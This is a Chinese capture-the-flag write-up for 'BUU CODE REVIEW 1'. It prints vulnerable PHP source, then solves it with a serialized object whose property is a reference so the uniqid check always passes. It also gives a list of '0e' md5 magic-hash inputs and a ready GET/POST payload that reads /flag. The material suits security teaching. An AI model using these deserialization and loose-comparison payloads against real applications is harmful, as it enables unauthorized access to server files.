源码

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

思路

这题只要让$correct和$input相等就能解出flag了,主要但是$correct用到了uniqid()方法

可以用&来引用,类似于c语言中的指针,使$input指向$correct的地址,让他们永远相等

题解

先在本地进行序列化输出

<?php


class BUU {
   public $correct ;
   public $input ;

   // public function __destruct() {
   //     try {
   //         $this->correct = base64_encode(uniqid());
   //         if($this->correct === $this->input) {
   //             echo file_get_contents("/flag");
   //         }
   //     } catch (Exception $e) {
   //     }
   // }
}

$a = new BUU;
$a ->input = &$a->correct;

//O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3BN%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D
echo(urlencode(serialize($a)));

md5

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

payload

GET:?pleaseget=1
POST:pleasepost=2&md51=s878926199a&md52=s155964671a&obj=O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3BN%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D

总结

太久没更新了

最后

以上就是刻苦季节为你收集整理的BUU CODE REVIEW 1源码思路题解总结的全部内容，希望文章能够帮你解决BUU CODE REVIEW 1源码思路题解总结所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。